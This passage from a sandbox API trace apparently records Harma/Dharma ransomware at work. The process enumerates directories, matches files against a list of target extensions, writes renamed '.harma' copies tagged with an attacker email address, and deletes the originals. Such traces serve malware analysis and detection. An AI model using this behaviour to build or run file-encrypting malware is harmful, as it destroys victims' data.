(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.740] lstrlenW (lpString=".jpg") returned 4 [0175.740] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.740] lstrlenW (lpString=".doc") returned 4 [0175.740] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString=".docx") returned 5 [0175.740] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0175.740] lstrlenW (lpString=".pdf") returned 4 [0175.740] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString=".xls") returned 4 [0175.740] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString=".xlsx") returned 5 [0175.740] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0175.740] lstrlenW (lpString=".ppt") returned 4 [0175.740] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.740] lstrlenW (lpString=".zip") returned 4 [0175.740] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString=".rar") returned 4 [0175.740] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0175.740] lstrlenW (lpString=".bz2") returned 4 [0175.740] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0175.740] lstrlenW (lpString=".7z") returned 3 [0175.740] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0175.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.740] lstrlenW (lpString=".dbf") returned 4 [0175.740] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0175.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.741] lstrlenW (lpString=".1cd") returned 4 [0175.741] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0175.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.741] lstrlenW (lpString=".jpg") returned 4 [0175.741] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0175.741] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0175.741] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0175.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.144] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x3b5ff1c | out: lpFileSize=0x3b5ff1c*=52656) returned 1 [0176.144] CloseHandle (hObject=0x1e8) returned 1 [0176.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0176.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.144] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.144] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0176.145] GetLastError () returned 0x0 [0176.145] ReadFile (in: hFile=0x1e8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x3b5fed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0176.481] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x3b5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x3b5fc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0176.482] ReadFile (in: hFile=0x1e8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x3b5fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.483] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x3b5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0176.483] SetEndOfFile (hFile=0x1ec) returned 1 [0176.483] CloseHandle (hObject=0x1ec) returned 1 [0176.483] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.483] SetEndOfFile (hFile=0x1e8) returned 1 [0176.484] CloseHandle (hObject=0x1e8) returned 1 [0176.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0176.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.485] lstrlenW (lpString=".doc") returned 4 [0176.485] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString=".docx") returned 5 [0176.485] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0176.485] lstrlenW (lpString=".pdf") returned 4 [0176.485] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString=".xls") returned 4 [0176.485] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString=".xlsx") returned 5 [0176.485] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0176.485] lstrlenW (lpString=".ppt") returned 4 [0176.485] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.485] lstrlenW (lpString=".zip") returned 4 [0176.485] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString=".rar") returned 4 [0176.485] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.485] lstrlenW (lpString=".bz2") returned 4 [0176.485] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.485] lstrlenW (lpString=".7z") returned 3 [0176.485] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.485] lstrlenW (lpString=".dbf") returned 4 [0176.485] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.486] lstrlenW (lpString=".1cd") returned 4 [0176.486] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.486] lstrlenW (lpString=".jpg") returned 4 [0176.486] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.486] lstrlenW (lpString=".doc") returned 4 [0176.486] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.486] lstrlenW (lpString=".docx") returned 5 [0176.486] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0176.486] lstrlenW (lpString=".pdf") returned 4 [0176.486] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.486] lstrlenW (lpString=".xls") returned 4 [0176.486] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.486] lstrlenW (lpString=".xlsx") returned 5 [0176.486] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0176.486] lstrlenW (lpString=".ppt") returned 4 [0176.486] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.486] lstrlenW (lpString=".zip") returned 4 [0176.486] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.487] lstrlenW (lpString=".rar") returned 4 [0176.487] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.487] lstrlenW (lpString=".bz2") returned 4 [0176.487] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.487] lstrlenW (lpString=".7z") returned 3 [0176.487] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.487] lstrlenW (lpString=".dbf") returned 4 [0176.487] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.487] lstrlenW (lpString=".1cd") returned 4 [0176.487] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0176.487] lstrlenW (lpString=".jpg") returned 4 [0176.487] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.487] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0176.487] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0176.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.488] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x3b5ff1c | out: lpFileSize=0x3b5ff1c*=1388416) returned 1 [0176.488] CloseHandle (hObject=0x1e8) returned 1 [0176.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0176.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.489] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.489] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0177.045] GetLastError () returned 0x0 [0177.045] ReadFile (in: hFile=0x1e8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x3b5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0177.091] WriteFile (hFile=0x1e0, lpBuffer=0x3fd0020, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b5fc9c, lpOverlapped=0x0) Thread: id = 90 os_tid = 0x4a4 [0174.716] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3524d58 [0174.716] lstrlenW (lpString="C:") returned 2 [0174.716] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3c9fd00 | out: lpFindFileData=0x3c9fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3534d60 [0174.717] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0174.717] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0174.717] lstrlenW (lpString="$Recycle.Bin") returned 12 [0174.717] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0174.717] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3534da0 [0174.717] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0174.717] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3c9fa84 | out: lpFindFileData=0x3c9fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x59cb10 [0174.717] FindNextFileW (in: hFindFile=0x59cb10, lpFindFileData=0x3c9fa84 | out: lpFindFileData=0x3c9fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.717] FindNextFileW (in: hFindFile=0x59cb10, lpFindFileData=0x3c9fa84 | out: lpFindFileData=0x3c9fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0174.717] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0174.717] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0174.717] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0174.717] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0174.717] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x40e0048 [0174.718] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0174.718] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3c9f808 | out: lpFindFileData=0x3c9f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40f0050 [0174.718] FindNextFileW (in: hFindFile=0x40f0050, lpFindFileData=0x3c9f808 | out: lpFindFileData=0x3c9f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.718] FindNextFileW (in: hFindFile=0x40f0050, lpFindFileData=0x3c9f808 | out: lpFindFileData=0x3c9f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d54a20, ftCreationTime.dwHighDateTime=0x1d58aa9, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0174.718] lstrlenW (lpString="desktop.ini") returned 11 [0174.718] lstrlenW (lpString=".1cd") returned 4 [0174.718] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".3ds") returned 4 [0174.719] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".3fr") returned 4 [0174.719] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".3g2") returned 4 [0174.719] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".3gp") returned 4 [0174.719] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".7z") returned 3 [0174.719] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0174.719] lstrlenW (lpString=".accda") returned 6 [0174.719] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".accdb") returned 6 [0174.719] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".accdc") returned 6 [0174.719] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".accde") returned 6 [0174.719] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".accdt") returned 6 [0174.719] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".accdw") returned 6 [0174.719] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0174.719] lstrlenW (lpString=".adb") returned 4 [0174.719] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".adp") returned 4 [0174.719] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".ai") returned 3 [0174.719] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0174.719] lstrlenW (lpString=".ai3") returned 4 [0174.719] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".ai4") returned 4 [0174.719] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0174.719] lstrlenW (lpString=".ai5") returned 4 [0174.720] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".ai6") returned 4 [0174.720] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".ai7") returned 4 [0174.720] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".ai8") returned 4 [0174.720] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".anim") returned 5 [0174.720] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0174.720] lstrlenW (lpString=".arw") returned 4 [0174.720] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".as") returned 3 [0174.720] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0174.720] lstrlenW (lpString=".asa") returned 4 [0174.720] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".asc") returned 4 [0174.720] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".ascx") returned 5 [0174.720] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0174.720] lstrlenW (lpString=".asm") returned 4 [0174.720] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".asmx") returned 5 [0174.720] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0174.720] lstrlenW (lpString=".asp") returned 4 [0174.720] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".aspx") returned 5 [0174.720] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0174.720] lstrlenW (lpString=".asr") returned 4 [0174.720] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".asx") returned 4 [0174.720] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0174.720] lstrlenW (lpString=".avi") returned 4 [0174.720] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".avs") returned 4 [0174.721] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".backup") returned 7 [0174.721] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0174.721] lstrlenW (lpString=".bak") returned 4 [0174.721] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".bay") returned 4 [0174.721] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".bd") returned 3 [0174.721] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0174.721] lstrlenW (lpString=".bin") returned 4 [0174.721] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".bmp") returned 4 [0174.721] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".bz2") returned 4 [0174.721] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".c") returned 2 [0174.721] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0174.721] lstrlenW (lpString=".cdr") returned 4 [0174.721] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".cer") returned 4 [0174.721] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".cf") returned 3 [0174.721] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0174.721] lstrlenW (lpString=".cfc") returned 4 [0174.721] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".cfm") returned 4 [0174.721] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".cfml") returned 5 [0174.721] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0174.721] lstrlenW (lpString=".cfu") returned 4 [0174.721] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0174.721] lstrlenW (lpString=".chm") returned 4 [0174.721] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".cin") returned 4 [0174.722] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".class") returned 6 [0174.722] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0174.722] lstrlenW (lpString=".clx") returned 4 [0174.722] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".config") returned 7 [0174.722] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0174.722] lstrlenW (lpString=".cpp") returned 4 [0174.722] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".cr2") returned 4 [0174.722] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".crt") returned 4 [0174.722] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".crw") returned 4 [0174.722] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".cs") returned 3 [0174.722] lstrcmpiW 